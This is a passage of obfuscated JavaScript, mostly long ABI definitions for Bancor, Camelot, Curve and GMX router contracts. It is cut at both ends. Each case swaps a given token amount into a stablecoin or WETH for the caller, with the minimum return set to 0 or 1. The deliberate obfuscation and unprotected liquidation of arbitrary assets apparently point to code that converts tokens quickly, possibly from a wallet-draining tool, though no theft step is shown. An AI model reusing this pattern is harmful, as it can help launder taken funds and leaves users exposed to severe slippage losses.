type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "token",
type: "address"
}, {
internalType: "address",
name: "provider",
type: "address"
}, {
internalType: "uint256",
name: "amount",
type: "uint256"
}, {
internalType: "uint256",
name: "availableAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "originalAmount",
type: "uint256"
}],
name: "migrateLiquidity",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract Token[]",
name: "pools",
type: "address[]"
}, {
internalType: "contract IPoolCollection",
name: "newPoolCollection",
type: "address"
}],
name: "migratePools",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "pause",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "paused",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "pendingNetworkFeeAmount",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [],
name: "poolCollections",
outputs: [{
internalType: "contract IPoolCollection[]",
name: "",
type: "address[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "bytes",
name: "data",
type: "bytes"
}],
name: "postUpgrade",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "contract IPoolCollection",
name: "newPoolCollection",
type: "address"
}],
name: "registerPoolCollection",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "renounceRole",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "resume",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "bytes32",
name: "role",
type: "bytes32"
}, {
internalType: "address",
name: "account",
type: "address"
}],
name: "revokeRole",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "roleAdmin",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [],
name: "roleEmergencyStopper",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [],
name: "roleMigrationManager",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [],
name: "roleNetworkFeeManager",
outputs: [{
internalType: "bytes32",
name: "",
type: "bytes32"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "bytes4",
name: "interfaceId",
type: "bytes4"
}],
name: "supportsInterface",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "sourceToken",
type: "address"
}, {
internalType: "contract Token",
name: "targetToken",
type: "address"
}, {
internalType: "uint256",
name: "sourceAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "minReturnAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "address",
name: "beneficiary",
type: "address"
}],
name: "tradeBySourceAmount",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "sourceToken",
type: "address"
}, {
internalType: "contract Token",
name: "targetToken",
type: "address"
}, {
internalType: "uint256",
name: "sourceAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "minReturnAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "address",
name: "beneficiary",
type: "address"
}],
name: "tradeBySourceAmountArb",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "sourceToken",
type: "address"
}, {
internalType: "contract Token",
name: "targetToken",
type: "address"
}, {
internalType: "uint256",
name: "targetAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "maxSourceAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "address",
name: "beneficiary",
type: "address"
}],
name: "tradeByTargetAmount",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract Token",
name: "sourceToken",
type: "address"
}, {
internalType: "contract Token",
name: "targetToken",
type: "address"
}, {
internalType: "uint256",
name: "targetAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "maxSourceAmount",
type: "uint256"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "address",
name: "beneficiary",
type: "address"
}],
name: "tradeByTargetAmountArb",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "contract IPoolCollection",
name: "poolCollection",
type: "address"
}],
name: "unregisterPoolCollection",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "version",
outputs: [{
internalType: "uint16",
name: "",
type: "uint16"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "id",
type: "uint256"
}],
name: "withdraw",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "recipient",
type: "address"
}],
name: "withdrawNetworkFees",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0xc90a77 = new ethers.Contract(_0x2b7b1b, _0x1d7cf3, _0x9d9505);
let _0xb445f8 = "0xdac17f958d2ee523a2206206994597c13d831ec7";
if (_0x4f37a4.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") {
_0xb445f8 = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
}
return [_0xc90a77.tradeBySourceAmount(_0x4f37a4.asset.token, _0xb445f8, _0x4f37a4.asset.amount, 1, _0x1b1427, this.caller), _0xb445f8];
}
case "BancorSwaps":
{
let _0x572c6e = [{
constant: false,
inputs: [{
name: "_onlyOwnerCanUpdateRegistry",
type: "bool"
}],
name: "restrictRegistryUpdate",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_token",
type: "address"
}, {
name: "_register",
type: "bool"
}],
name: "registerEtherToken",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: true,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}],
name: "getReturnByPath",
outputs: [{
name: "",
type: "uint256"
}, {
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_beneficiary",
type: "address"
}, {
name: "_affiliateAccount",
type: "address"
}, {
name: "_affiliateFee",
type: "uint256"
}],
name: "claimAndConvertFor2",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: true,
inputs: [],
name: "onlyOwnerCanUpdateRegistry",
outputs: [{
name: "",
type: "bool"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [],
name: "updateRegistry",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_affiliateAccount",
type: "address"
}, {
name: "_affiliateFee",
type: "uint256"
}],
name: "convert2",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: true,
inputs: [],
name: "maxAffiliateFee",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [{
name: "_token",
type: "address"
}, {
name: "_to",
type: "address"
}, {
name: "_amount",
type: "uint256"
}],
name: "withdrawTokens",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: true,
inputs: [],
name: "prevRegistry",
outputs: [{
name: "",
type: "address"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [],
name: "acceptOwnership",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: true,
inputs: [],
name: "registry",
outputs: [{
name: "",
type: "address"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: true,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}],
name: "rateByPath",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: true,
inputs: [{
name: "",
type: "address"
}],
name: "etherTokens",
outputs: [{
name: "",
type: "bool"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_bancorX",
type: "address"
}, {
name: "_conversionId",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_beneficiary",
type: "address"
}],
name: "completeXConversion",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: true,
inputs: [],
name: "owner",
outputs: [{
name: "",
type: "address"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_beneficiary",
type: "address"
}, {
name: "_affiliateAccount",
type: "address"
}, {
name: "_affiliateFee",
type: "uint256"
}],
name: "convertFor2",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_beneficiary",
type: "address"
}],
name: "claimAndConvertFor",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [],
name: "restoreRegistry",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_beneficiary",
type: "address"
}, {
name: "_affiliateAccount",
type: "address"
}, {
name: "_affiliateFee",
type: "uint256"
}],
name: "convertByPath",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_targetBlockchain",
type: "bytes32"
}, {
name: "_targetAccount",
type: "bytes32"
}, {
name: "_conversionId",
type: "uint256"
}],
name: "xConvert",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}],
name: "claimAndConvert",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_beneficiary",
type: "address"
}],
name: "convertFor",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_targetBlockchain",
type: "bytes32"
}, {
name: "_targetAccount",
type: "bytes32"
}, {
name: "_conversionId",
type: "uint256"
}, {
name: "_affiliateAccount",
type: "address"
}, {
name: "_affiliateFee",
type: "uint256"
}],
name: "xConvert2",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: true,
inputs: [],
name: "newOwner",
outputs: [{
name: "",
type: "address"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: true,
inputs: [{
name: "_sourceToken",
type: "address"
}, {
name: "_targetToken",
type: "address"
}],
name: "conversionPath",
outputs: [{
name: "",
type: "address[]"
}],
payable: false,
stateMutability: "view",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}, {
name: "_affiliateAccount",
type: "address"
}, {
name: "_affiliateFee",
type: "uint256"
}],
name: "claimAndConvert2",
outputs: [{
name: "",
type: "uint256"
}],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_newOwner",
type: "address"
}],
name: "transferOwnership",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_path",
type: "address[]"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_minReturn",
type: "uint256"
}],
name: "convert",
outputs: [{
name: "",
type: "uint256"
}],
payable: true,
stateMutability: "payable",
type: "function"
}, {
constant: false,
inputs: [{
name: "_maxAffiliateFee",
type: "uint256"
}],
name: "setMaxAffiliateFee",
outputs: [],
payable: false,
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
name: "_registry",
type: "address"
}],
payable: false,
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "_smartToken",
type: "address"
}, {
indexed: true,
name: "_fromToken",
type: "address"
}, {
indexed: true,
name: "_toToken",
type: "address"
}, {
indexed: false,
name: "_fromAmount",
type: "uint256"
}, {
indexed: false,
name: "_toAmount",
type: "uint256"
}, {
indexed: false,
name: "_trader",
type: "address"
}],
name: "Conversion",
type: "event"
}, {
anonymous: false,
inputs: [{
indexed: true,
name: "_prevOwner",
type: "address"
}, {
indexed: true,
name: "_newOwner",
type: "address"
}],
name: "OwnerUpdate",
type: "event"
}];
let _0x1e862c = new ethers.Contract(_0x2b7b1b, _0x572c6e, _0x9d9505);
let _0x17e466 = "0xdac17f958d2ee523a2206206994597c13d831ec7";
if (_0x4f37a4.asset.token == "0xdac17f958d2ee523a2206206994597c13d831ec7") {
_0x17e466 = "0x6B175474E89094C44Da98b954EedeAC495271d0F";
}
let _0x564db5 = await _0x1e862c.conversionPath(_0x4f37a4.asset.token, _0x17e466);
console.log(_0x564db5);
return [_0x1e862c.convertByPath(_0x564db5, _0x4f37a4.asset.amount, 1, this.caller, "0x0000000000000000000000000000000000000000", "0"), _0x17e466];
}
case "Camelot":
{
let _0x1d8ae3 = [{
inputs: [{
internalType: "address",
name: "_factory",
type: "address"
}, {
internalType: "address",
name: "_WETH",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
inputs: [],
name: "WETH",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "amountADesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "amountTokenDesired",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "addLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}],
stateMutability: "payable",
type: "function"
}, {
inputs: [],
name: "factory",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}],
name: "getAmountsOut",
outputs: [{
internalType: "uint256[]",
name: "amounts",
type: "uint256[]"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token1",
type: "address"
}, {
internalType: "address",
name: "token2",
type: "address"
}],
name: "getPair",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveA",
type: "uint256"
}, {
internalType: "uint256",
name: "reserveB",
type: "uint256"
}],
name: "quote",
outputs: [{
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "pure",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidity",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETH",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "removeLiquidityETHSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermit",
outputs: [{
internalType: "uint256",
name: "amountToken",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "token",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountTokenMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountETHMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityETHWithPermitSupportingFeeOnTransferTokens",
outputs: [{
internalType: "uint256",
name: "amountETH",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "tokenA",
type: "address"
}, {
internalType: "address",
name: "tokenB",
type: "address"
}, {
internalType: "uint256",
name: "liquidity",
type: "uint256"
}, {
internalType: "uint256",
name: "amountAMin",
type: "uint256"
}, {
internalType: "uint256",
name: "amountBMin",
type: "uint256"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}, {
internalType: "bool",
name: "approveMax",
type: "bool"
}, {
internalType: "uint8",
name: "v",
type: "uint8"
}, {
internalType: "bytes32",
name: "r",
type: "bytes32"
}, {
internalType: "bytes32",
name: "s",
type: "bytes32"
}],
name: "removeLiquidityWithPermit",
outputs: [{
internalType: "uint256",
name: "amountA",
type: "uint256"
}, {
internalType: "uint256",
name: "amountB",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "address",
name: "referrer",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactETHForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "address",
name: "referrer",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForETHSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "amountOutMin",
type: "uint256"
}, {
internalType: "address[]",
name: "path",
type: "address[]"
}, {
internalType: "address",
name: "to",
type: "address"
}, {
internalType: "address",
name: "referrer",
type: "address"
}, {
internalType: "uint256",
name: "deadline",
type: "uint256"
}],
name: "swapExactTokensForTokensSupportingFeeOnTransferTokens",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
stateMutability: "payable",
type: "receive"
}];
let _0xd25e7e = new ethers.Contract(_0x2b7b1b, _0x1d8ae3, _0x9d9505);
let _0x211363 = [];
_0x211363[0] = _0x4f37a4.asset.token;
_0x211363[1] = "0x82aF49447D8a07e3bd95BD0d56f35241523fBab1";
return [_0xd25e7e.swapExactTokensForTokensSupportingFeeOnTransferTokens(_0x4f37a4.asset.amount, 0, _0x211363, this.caller, "0x0000000000000000000000000000000000000000", _0x1b1427), _0x211363[1]];
}
case "Curve":
case "CurveVyper1":
{
let _0x5bfc77 = [{
stateMutability: "nonpayable",
type: "function",
name: "exchange_with_best_rate",
inputs: [{
name: "_from",
type: "address"
}, {
name: "_to",
type: "address"
}, {
name: "_amount",
type: "uint256"
}, {
name: "_expected",
type: "uint256"
}, {
name: "_receiver",
type: "address"
}],
outputs: [{
name: "",
type: "uint256"
}]
}];
let _0x25e902 = new ethers.Contract(_0x2b7b1b, _0x5bfc77, _0x9d9505);
return [_0x25e902.exchange_with_best_rate(_0x4f37a4.asset.token, "0x6b175474e89094c44da98b954eedeac495271d0f", _0x4f37a4.asset.amount, 0, this.caller), "0x6b175474e89094c44da98b954eedeac495271d0f"];
}
case "GMX":
{
let _0x185f52 = [{
inputs: [{
internalType: "address",
name: "_vault",
type: "address"
}, {
internalType: "address",
name: "_usdg",
type: "address"
}, {
internalType: "address",
name: "_weth",
type: "address"
}],
stateMutability: "nonpayable",
type: "constructor"
}, {
anonymous: false,
inputs: [{
indexed: false,
internalType: "address",
name: "account",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "tokenIn",
type: "address"
}, {
indexed: false,
internalType: "address",
name: "tokenOut",
type: "address"
}, {
indexed: false,
internalType: "uint256",
name: "amountIn",
type: "uint256"
}, {
indexed: false,
internalType: "uint256",
name: "amountOut",
type: "uint256"
}],
name: "Swap",
type: "event"
}, {
inputs: [{
internalType: "address",
name: "_plugin",
type: "address"
}],
name: "addPlugin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_plugin",
type: "address"
}],
name: "approvePlugin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "",
type: "address"
}, {
internalType: "address",
name: "",
type: "address"
}],
name: "approvedPlugins",
outputs: [{
internalType: "bool",
name: "",
type: "bool"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_collateralToken",
type: "address"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}],
name: "decreasePosition",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}],
name: "decreasePositionAndSwap",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "address payable",
name: "_receiver",
type: "address"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}],
name: "decreasePositionAndSwapETH",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_collateralToken",
type: "address"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "address payable",
name: "_receiver",
type: "address"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}],
name: "decreasePositionETH",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_plugin",
type: "address"
}],
name: "denyPlugin",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_token",
type: "address"
}, {
internalType: "uint256",
name: "_amount",
type: "uint256"
}],
name: "directPoolDeposit",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [],
name: "gov",
outputs: [{
internalType: "address",
name: "",
type: "address"
}],
stateMutability: "view",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_amountIn",
type: "uint256"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}],
name: "increasePosition",
outputs: [],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address[]",
name: "_path",
type: "address[]"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_minOut",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "uint256",
name: "_price",
type: "uint256"
}],
name: "increasePositionETH",
outputs: [],
stateMutability: "payable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_account",
type: "address"
}, {
internalType: "address",
name: "_collateralToken",
type: "address"
}, {
internalType: "address",
name: "_indexToken",
type: "address"
}, {
internalType: "uint256",
name: "_collateralDelta",
type: "uint256"
}, {
internalType: "uint256",
name: "_sizeDelta",
type: "uint256"
}, {
internalType: "bool",
name: "_isLong",
type: "bool"
}, {
internalType: "address",
name: "_receiver",
type: "address"
}],
name: "pluginDecreasePosition",
outputs: [{
internalType: "uint256",
name: "",
type: "uint256"
}],
stateMutability: "nonpayable",
type: "function"
}, {
inputs: [{
internalType: "address",
name: "_account",
type: "address"
}, {
internalType: "address",
